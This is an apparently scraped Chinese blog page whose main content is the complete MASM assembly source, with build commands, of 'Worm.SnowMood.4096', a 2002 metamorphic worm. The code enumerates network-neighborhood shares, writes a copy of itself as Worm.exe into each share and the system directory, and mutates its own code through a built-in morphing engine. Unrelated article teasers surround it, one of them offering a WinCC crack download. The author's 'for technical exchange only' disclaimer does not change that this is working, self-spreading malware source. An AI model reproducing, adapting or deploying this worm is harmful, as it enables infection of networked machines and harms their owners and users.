Worm.SnowMood.4096

自动识别象棋棋子的OpenCV应用 在计算机视觉领域,OpenCV是一个广泛应用的开源计算机视觉库,它提供了丰富的图像处理和分析工具。本文将介绍如何使用OpenCV实现自动识别象棋棋子的功能,并提供相应的源代码。通过以上代码,我们可以实现对棋盘图像中棋子的自动识别。需要注意的是,以上代码只是一个简单的示例,实际应用中可能需要根据具体情况进行参数调整和算法优化,以获得更好的识别效果。函数利用预处理后的图像,寻找图像中的轮廓,并根据轮廓的面积筛选出可能的棋子轮廓,最后在原图像中提取棋子区域。在主程序中,我们读取输入图像,并调用。 阅读详情
;-----------------------------------------------------------------
;病毒名称: Worm.SnowMood.4096(雪人的心)
;编写环境: WinXP,Masm32v6
;完成日期: 2002/11/10
;版  本: v1.0
;作    者:  pkxp/CVC.GB(E-MaileekXP@163.com)
;警 告 :  仅供技术交流,若有其他用途,概与本人无关!
;           万一有转贴,请保持完整性,多谢!
;-----------------------------------------------------------------
;程序简介:
;1. 这是一个简单的变形蠕虫,通过网络邻居传播。
;2. 发现共享目录后,在其中创建一个Worm.exe,然后写入文件头和.data段
;   将自身代码变形后再写入。PME32是一个变形引擎。
;3. 程序本意是说明这类蠕虫的写法,无关部分一概省略,甚至连自启动、
;   随机数、垃圾代码都没有。
;4. ml   /c /coff snowmood.asm
;   link /SUBSYSTEM:WINDOWS snowmood.obj
;   /MERGE:.rdata=.data /MERGE:.text=.data
;-----------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include useful.inc
include Macros.inc   
.data
pMem            dd  0
szWormName      db  '/Worm.exe',0
orig_worm       db  50 dup (0)
copy_worm       db  MAX_PATH dup (0)
P segment
VStart:
     i2    push    PAGE_READWRITE
     i2    push    MEM_RESERVE or MEM_COMMIT
     i2    push    VEnd-VStart
     i2    push    0
     i2    call    VirtualAlloc
     i3    mov     pMem,eax              ;分配空间,准备变形
     
     i3    mov     esi,offset VStart
     i3    mov     edi,pMem
     i2    push    VEnd-VStart
     i2    pop     ecx
     i2    rep     movsb                ;拷贝代码
     i2    push    50
     i2    push    offset orig_worm        
     i2    push    0
     i2    call    GetModuleFileName     ;得到程序路径           
      
     i2    push    MAX_PATH
     i2    push    offset copy_worm
     i2    call    GetSystemDirectory    ;得到系统目录
      
     i2    push    offset copy_worm
     i2    call    InfectDir             ;感染系统目录
     i2    push    NULL
     i2    call    EnumNetWork           ;感染网络邻居         
     i1    ret
      
;----------- 遍历网络邻居,找到目录后感染之 -----------
EnumNetWork PROC  pNetResource : DWORD
        
      LOCAL   hEnum       : DWORD
      LOCAL   Count       : DWORD
      LOCAL   BufferSize  : DWORD
           nop
           nop
           nop
           nop
      i1   pushad
      i2   push    0FFFFFFFFh
      i2   pop     Count
      i2   push    16*1024
      i2   pop     BufferSize
   
      i3   lea     eax , hEnum   
      i2   push    eax
      i2   push    pNetResource
      i2   push    0
      i2   push    RESOURCETYPE_DISK
      i2   push    RESOURCE_GLOBALNET
      i2   call    WNetOpenEnum
      i3   or      eax,eax
      i2   jnz     EN_Exit
        
      i2   push    PAGE_READWRITE
      i2   push    MEM_RESERVE or MEM_COMMIT
      i2   push    16*1024
      i2   push    0
      i2   call    VirtualAlloc         
      i3   or      eax,eax
      i2   jz      EN_Close
      i3   mov     pNetResource,eax   
      i3   lea     eax,BufferSize
      i2   push    eax
      i2   push    pNetResource
      i3   lea     eax,Count
      i2   push    eax
      i2   push    hEnum
      i2   call    WNetEnumResource                           
      i3   or      eax,eax
      i2   jnz     EN_Free
                     
      i3   mov     ecx,Count
      i3   mov     edi,pNetResource
      assume  edi:ptr NETRESOURCEA
EN_Loop:
      i3   mov     eax,[edi].dwUsage
      i3   and     al,2
      i3   cmp     al , 2  
      i2   jnz     EN_Dir
EN_Container:
      i2   push    edi     
      i2   call    EnumNetWork     
      i2   jmp     EN_Next
EN_Dir:
      i3   mov     eax,[edi].lpRemoteName         
      i2   push    [edi].lpRemoteName
      i2   call    InfectDir
EN_Next:
      i3   add     edi,sizeof NETRESOURCE
      i2   loop    EN_Loop
EN_Free:
      i2   push    MEM_RELEASE
      i2   push    0
      i2   push    pNetResource  
      i2   call    VirtualFree                 
EN_Close:  
      i2   push     hEnum
      i2   call     WNetCloseEnum         
EN_Exit:
      i1   popad
      i2   ret  4
EnumNetWork ENDP      

;------------------InfectDir---------------------------------
;输入:目录地址
;输出:在目录中创建一个蠕虫文件
;思路:创建文件,把自身映象的PE头和第一个段.data
;      写入文件,然后把自身代码变形,写入文件。
;------------------------------------------------------------
InfectDir  PROC    RemoteDir  : DWORD
      LOCAL ByteWriteWORD
           nop
           nop
           nop
           nop                      ;补足10个字节
      i1   pushad
      i2   push    offset szWormName
      i2   push    RemoteDir
      i2   call    lstrcat                                             
                  
      i2   push    NULL
      i2   push    FILE_ATTRIBUTE_NORMAL
      i2   push    CREATE_ALWAYS
      i2   push    NULL
      i2   push    FILE_SHARE_READ+FILE_SHARE_WRITE
      i2   push    GENERIC_READ+GENERIC_WRITE
      i2   push    RemoteDir
      i2   call    CreateFile
      i3   or      eax,eax
      i2   jz      ID_Exit
      i3   xchg    eax,esi
        
      i3   lea     edi,ByteWrite
      i2   push    0
      i2   push    edi
      i2   push    200h            
      i2   push    00400000h
      i2   push    esi              
      i2   call    WriteFile                 ;文件头
        
      i2   push    0
      i2   push    edi
      i2   push    400h            
      i2   push    00401000h
      i2   push    esi              
      i2   call    WriteFile                 ;.data
      i2    push    (instrz-VStart)/10
      i2    pop     ecx
      i2    push    ebp
      i3    xor     ebp,ebp
      i3    mov     edi,pMem
      i2    call    PME32                   ;instrz->VStart的代码变形
      i2    pop     ebp
   
      i3    lea     edi,ByteWrite
      i2    push    0
      i2    push    edi
      i2    push    0A00h            ;VEnd-VStart按FileAlignment对其
      i2    push    pMem
      i2    push    esi
      i2    call    WriteFile        ;Write code   
      
      i2    push    esi
      i2    call    CloseHandle
ID_Exit:         
      i1    popad
      i2    ret     4
        
InfectDir ENDP

;-------------------PME32--------------------------------
;输入:
;       EDI    -     变形的一段代码
;       ECX    -     待变形代码长度,按10字节计算
;输出:
;       EDI    -     移动到指令之后
;思路:
;       每次取出包含一条指令的10个字节,先试图变形
;       后插入垃圾代码.
PME32:
i1      pushad  
ExploreIns:
i2      push       ecx
i2      call       MORPHER     
i2      call       GARBAGER              ;insert garbage code
i2      pop        ecx
i2      loop       ExploreIns   
i1      popad
i1      ret
;---------------MORPHER---------------------------------------
;输入:
;       EDI    -     待变形的指令地址     
;输出:
;       EDI    -     移动到指令之后
;       EAX    -     新指令的长度
;思路:
;       将当前指令与指令集中所有指令比较,匹配后变形。
;--------------------------------------------------------------
MORPHER:                            ;start of morpher code
i3       lea      esi,[instrz+ebp]
analyse_instr:
i1       lodsd      
i3       test     eax,eax
i2       je       end_MORPHER      ;所有指令比较完毕,没有比配的
i3       add      eax,ebp          ;得到函数地址
i3       xchg     eax,edx          ;保存在edx中,eax还要用
explore_instr:
i3       xor      eax,eax
i1       lodsb                      ;扩充用
i3       test     al,al
i2       je       end_instr         ;分析完一条指令了吗?
i2       push     edi
i2       dec      eax
i3       add      edi,eax
i1       cmpsb                      ;比较一个字节
i2       pop      edi
i2       je       explore_instr     ;相等,继续
next_instr:                         ;已经有一个字节不相等,找下一条指令
i1       lodsb
i3       test      al,al
i2       jne       next_instr        ;找到指令结尾标志0
i2       jmp       analyse_instr     ;分析下一条指令
end_instr:
i2       push      edi
i2       call      edx               ;调用指令变形函数
i2       pop       eax
i3       sub       eax,edi
i2       neg       eax               ;得到新指令长度
end_MORPHER:
i1       ret
;-------- PUSHAD --------
shr_pushad:
i3       mov        al,60h              ;write single PUSHAD opcode
stosb_ret:
i1       stosb
i1       ret
exp_pushad:
i2       push       8                   ;write    PUSH EAX
i2       pop        ecx                 ;         PUSH ECX
i3       mov        al,50h              ;         ...
ep0:                                    ;         PUSH EDI
i1       stosb
i2       inc        eax
i2       loop       ep0
i1       ret
;-------- POPAD --------
shr_popad:
i3       mov       al,61h                  ;write single POPAD opcode
i2       jmp       stosb_ret
exp_popad:
i2       push      8                       ;write     POP EDI
i2       pop       ecx                     ;          POP ESI
i3       mov       al,5Fh                  ;          ...
ep1:                                       ;          POP EAX
i1       stosb
i2       dec       eax
i2       loop      ep1
i1       ret
;-------- RET -------------
shr_ret:
i3       mov       al,0C3h                     ;shrink to RET
i2       jmp       stosb_ret
exp_ret:
i3       mov       eax,0FF04C483h    ;83C404 ADD ESP,4
i1       stosd                       ;FF6424FC JMP DWORD PTR [ESP-4]
i3       mov       ax,2464h
i1       stosw
i3       mov       al,0FCh
i2       jmp       stosb_ret
;-------- INC EAX----------
shr_inceax:
i3       mov       al,40h               ;write single INC EAX opcode
i2       jmp       stosb_ret
exp_inceax:
i3       mov       al,83h               ;83 C0 01 ADD EAX,1
i1       stosb
i3       mov       ax,01c0h
i1       stosw
i1       ret
;-------- STOSD --------
shr_stosd:
i3       mov       al,0ABh              ;shrink to STOSD
i2       jmp       stosb_ret
exp_stosd:
i3       mov       eax,0C7830789h       ;create MOV    [EDI],EAX
i1       stosd                          ;       ADD     EDI,4
i3       mov       al,4
i2       jmp       stosb_ret

;-------------------- GARBAGER -------------------------------
;输入:
;       EAX     -       新指令长度
;       EDI     -       新指令下一个字节的地址
;输出:
;       EDI     -       下一条指令地址
;思路:
;       在10个字节空间里,已经有一条真正指令,edi指向其后在剩下
;       的空间内填充NOP.edi随之后移,指向了下一条真正指令。
;       如果eax=0,说明MORPHER匹配失败,那么要把edi加10。
;       指向下一条指令。
;---------------------------------------------------------------
GARBAGER:
i3      or     eax,eax   
i2      jz     G1
i3      mov    ecx,INSTRLEN
i3      sub    ecx,eax        
i3      mov    al,90h
G0:        
i1      stosb  
i2      loop   G0
i2      jmp    G2
G1:
i3      add    edi,INSTRLEN
G2:        
i1      ret
                  
instrz:
;shrinker part
      dd       offset shr_pushad
      db       1,50h,2,51h,3,52h,4,53h,5,54h,6,55h,7,56h,8,57h,0
      dd       offset shr_popad
      db       1,5Fh,2,5Eh,3,5Dh,4,5Ch,5,5Bh,6,5Ah,7,59h,8,58h,0      
      dd       offset shr_ret
      db       1,83h,2,0C4h,3,04h,4,0FFh,5,64h,6,24h,7,0FCh,0
      dd       offset shr_inceax
      db       1,83h,2,0C0h,3,01h,0
      dd       offset shr_stosd
      db       1,89h,2,07h,3,83h,4,0C7h,5,04h,0              
      
;expander part
      dd       offset exp_pushad
      db       1,60h,0
      dd       offset exp_popad
      db       1,61h,0
      dd       offset exp_ret
      db       1,0C3h,0
      dd       offset exp_inceax
      db       1,40h,0
      dd       offset exp_stosd
      db       1,0ABh,0
      
      dd       0           ;结束标志
VEnd:
P ends
end VStart
//macros.inc
INSTRLEN   equ   10
i3    macro   code1_2,code3
     local   s,e
s:      
     code1_2 , code3              ;e.g. MOV EAX,EBX
e:      
     db      INSTRLEN-(e-s) dup (90h)
endm
i2    macro    code1,code2
     local    s,e
s:      
     code1    code2                        ;e.g. INC EAX
e:      
     db       INSTRLEN-(e-s) dup (90h)
endm
i1    macro      code1
     local      s,e
s:      
     code1                              ;e.g. STOSD
e:      
     db      INSTRLEN-(e-s) dup (90h)
endm
//useful.inc
include /masm32/include/windows.inc
include /masm32/include/kernel32.inc
includelib /masm32/lib/kernel32.lib
include /masm32/include/user32.inc
includelib /masm32/lib/user32.lib
@pushsz MACRO  str
LOCAL next
call  next
db    str,0
next:
ENDM
YOLO11 锚框机制全解析:从改进 K-means 聚类到自适应优化,附多场景实战(附代码) 摘要 YOLO11的锚框机制采用"自适应、动态化、场景感知"的设计理念,通过数据驱动的锚框生成、多尺度感知分配和实时优化策略,显著提升目标检测性能。相较于早期YOLO版本,YOLO11的锚框完全基于训练集目标分布自适应生成,并引入智能分配策略,使不同尺寸目标获得最优匹配。技术架构包含自适应锚框生成、多尺度分配器和动态优化模块,通过改进的K-means聚类和交并比计算实现精准匹配。YOLO11锚框机制在检测精度、训练稳定性和场景适应性方面均有显著提升,为复杂场景下的目标检测提供更优解决方案 阅读详情

相关推荐

LTspice导入德州仪器SPICE模型的实用指南与常见问题解析

本文详细介绍了如何在LTspice中导入德州仪器的SPICE模型,包括模型文件获取、路径管理、导入步骤及常见问题解析。通过实用指南帮助工程师精确仿真电路性能,提升设计效率,重点涵盖了第三方模型的导入教程和最佳实践。

kk1234的博客 314

企业即时通讯技术探讨

企业即时通讯技术探讨 作者:AwBBBBBlone@smth 日期:2008-07-17 工作流程:1.首先得到重定位信息,保存在ebx中.2.调用GetKBase ,得到Kernel32.dll的基地址。3.调用GetAPIz,得到程序将使用的Kernel32中所有API.4.

神经网络爱好者 1012

基于大模型的重度膝关节骨关节炎全流程预测与治疗方案研究

本研究基于大模型构建了重度膝关节骨关节炎(KOA)预测体系,涵盖术前风险预测、手术方案优化、术中监测和术后康复指导全流程。通过分析临床和影像数据,模型在手术风险预测准确率(85%)、并发症预警(血栓预测准确率88%)等方面显著优于传统方法。研究实现了临床数据与AI技术的深度融合,术前预测指导麻醉选择(如高危患者推荐椎管内麻醉),术中实时监测生命体征,术后个性化康复方案使患者HSS评分平均提升45分。

嵌入式毕设/课设资料清单(速查手册·文档模板·题库,持续更新)→ 见最新文章 1390

五十三.网络(3)--区块同步getblocks消息

在节点互发了version消息后,就会发送getblocks消息,请求对方的区块以进行同步。

d3582077的专栏 198

用STM32CubeMX和HAL库,5分钟搞定TB6612驱动直流电机(附完整代码)

本文详细介绍了如何使用STM32CubeMX和HAL库快速配置TB6612驱动直流电机,包括硬件连接、CubeMX工程配置、电机驱动逻辑实现及进阶优化技巧。通过图形化工具和代码示例,即使是新手也能在5分钟内完成电机调速系统的搭建,大幅提升开发效率。

weixin_26854829的博客 266

浅谈专项测试之弱网络测试

浅谈专项测试之弱网络测试 一.弱网络测试背景 移动端产品的使用并非完全都是在流畅的wifi环境,大部分用户主要使用4G,3G,2G等网络,另外因为移动端产品使用的场景多变,如进公交,上地铁,坐电梯,使得弱网测试显得尤为重要。考虑到各种场景的客户端展示及容错,提升产品的印象和用户体验,提高产品的健壮性,弱网测试必不可少。 二.弱网络测试建议 网下需要进行功能点测试,无网络测试,网络切换测试等,测试过程除了关注功能点的实现,还应关注用户体验等各个方面 三.弱网络测试通用功能点总结 四.弱网络测试用例实例

ITstudy001的博客 1011

DPU安全组与ACL性能测试:从规则爆炸到线速卸载的实战指南

本文深入剖析DPU安全组与网络ACL的底层卸载架构,通过两个完整实战测试矩阵,量化评估规则复杂度、有状态连接跟踪(Conntrack)及OVS Offload协同对RoCEv2性能的影响。结合真实故障排查案例与工具输出矩阵,揭示大规模云环境中安全组性能跌落的根因,并给出基于规则聚合与硬件表项优化的最优配置指南。

专注分享DPU、RDMA智能网卡/SSD(固态硬盘)产品测试与优化 334

黑群晖断电后存储池‘已损毁’?别慌,SSH里这几条命令能救急

本文详细解析黑群晖断电后存储池显示‘已损毁’的紧急修复方法。通过SSH命令行工具,提供从诊断到修复的完整流程,包括RAID阵列重新组装、设备重建等关键步骤,帮助用户恢复数据访问。适用于因意外断电导致的存储池异常情况。

weixin_42651748的博客 376

Linux 服务器性能排查手册(2026):CPU、内存、磁盘IO、网络四大瓶颈定位

iptables 四表五链模型、firewalld zone 信任级别、云安全组与主机防火墙的关系与优先级,避坑改了防火墙把自己挡在服务器外面的翻车事故。

2502_91473995的博客 344

python监听海康威视报警服务器

因为我使用海康威视摄像头是自带热成像的所以事件报警会上报两张图片,一张是RGB图像、另一张是热成像图像,因此使用。拿到的就是第一张RGB图像。可以点击测试,会显示。

qq_57018478的博客 1166

保姆级教程:用Zemax 18.9复现单模光纤耦合仿真(附康宁SMF-28e参数)

本文提供了一份详细的Zemax 18.9单模光纤耦合仿真教程,以康宁SMF-28e为例,涵盖从软件设置、材料参数输入到系统构建和优化的全流程。通过光束耦合分析和物理光学传播(POP)技术,帮助用户准确模拟光纤耦合效率,并解决常见问题,适用于光学设计初学者和专业人士。

weixin_27330481的博客 316

AI 芯片片上网络 NoC 深度解析:flit、虚通道与拥塞控制如何决定 GPU/TPU/LPU 的算力利用率

AI芯片算力瓶颈不在FLOPS,而在片上网络(NoC)——数据搬运的能耗与延迟决定MFU上限。物理限制下,长线延迟不随工艺缩小,迫使NoC将全局布线拆为可流水的短链路;能量账显示,一跳传输耗能可达数十次乘加操作。拓扑选择直接影响性能:二维mesh虽布线可行,但均匀流量下每节点可用带宽按1/√N衰减,实测仅达标称值30%。虚通道、双网设计、静态调度(如Groq)等技术旨在突破此瓶颈。从总线到crossbar再到多跳NoC,本质是用延迟换可行性。未来趋势:专用通路(脉动阵列)、晶圆级集成(Cerebras)、跨

我的博客 119

Open3D 进阶(22)间接平差法拟合空间曲线

空间曲线拟合在电力线三维重建中有着广泛的应用,本文利用python使用间接平差法对三维空间曲线的拟合进行代码实现。

点云侠的博客 1059

网安产教融合思考:如何补齐高校实战能力评价短板

不少网安专业高校都面临这样现实的难题:网安人才培养持续推进,校内已经搭建完整的教学体系,但高校培养方案可能几年修一次,企业的技术栈和攻击手法却按季度在变,学校难落地最新的技术实战教学,学生难证明实战本领,企业一边喊人才紧缺,一边感慨招不到来了就能干的应届生。网安时代,实战为王。备考平台、7天免费直播培训、免费认证考试,期待更多高校加入 CCP 人才共育生态,组织本校学子参与本轮认证,以认证带动教学,以实战对接就业,共同为行业培养 “用得上、干得好” 的实战型网络安全人才。本次报名、培训、考试全程免费,

A19911511842的博客 197

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

台湾行情数据API接入教程

想用程序获取台股行情,很多人第一步会搜“台股资料 API 推荐”,结果发现选择不少:证交所有免费接口,Yahoo Finance 也能查,券商还有自己的 API。真正写代码时才发现,有的数据只到收盘,有的延迟 20 分钟,有的必须先开户。本文先梳理台湾行情数据的几种获取渠道,再用 Python 从零搭一个可以运行的台股数据脚本:查代码清单、取实时报价和盘口、拉历史K线、做复权、用 WebSocket 接收实时推送,最后结合台积电 ADR 和新台币汇率计算跨市场溢价。

qq_34102871的博客 318

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

【基于 WebSocket 的多用户网页五子棋】—— 数据管理模块

但行好事,莫问前程

qq_42996461的博客 250

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

Qt网络编程实战指南:从底层Socket到现代异步架构的选型与避坑

本文梳理Qt网络编程的核心模块与演进路线,对比QTcpSocket与QNetworkAccessManager的使用边界,结合HTTP请求与TCP长连接的完整示例,说明信号槽、内存管理与事件循环的配合方式。重点记录连接池设计、证书校验、线程亲和性等实际开发中的关键决策点,帮助读者在C/S或跨平台项目中建立稳定的网络层基座。

2402_83344867的博客 326

25.《Pwn 堆利用实战:House of Lore —— 从自出题 my_lore 到 getshell 全流程》

自出题 my_lore 打穿 House of Lore:UAF 泄露 libc,BSS 伪造 chunk 投毒 smallbin,两次 malloc 把 system 写进函数指针,附 gdb 动态验证全过程

2501_93884468的博客 471

从母钟到子钟:NTP 网络时钟系统架构与软件接口

本文从工程角度简要介绍公共场所的时间同步需求、NTP协议的定位,以及典型LED同步时钟的系统架构与硬件设计,以讯鹏科技4寸与5寸同步时钟为例。

SPZHCS的博客 187

正运动16轴脉冲网络型运动控制卡ECI1G38

16轴脉冲运动控制解决方案

weixin_57350300的博客 84
上一篇: 有效利用PE文件内部空间植入用户程序
下一篇: 驱动汇编
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值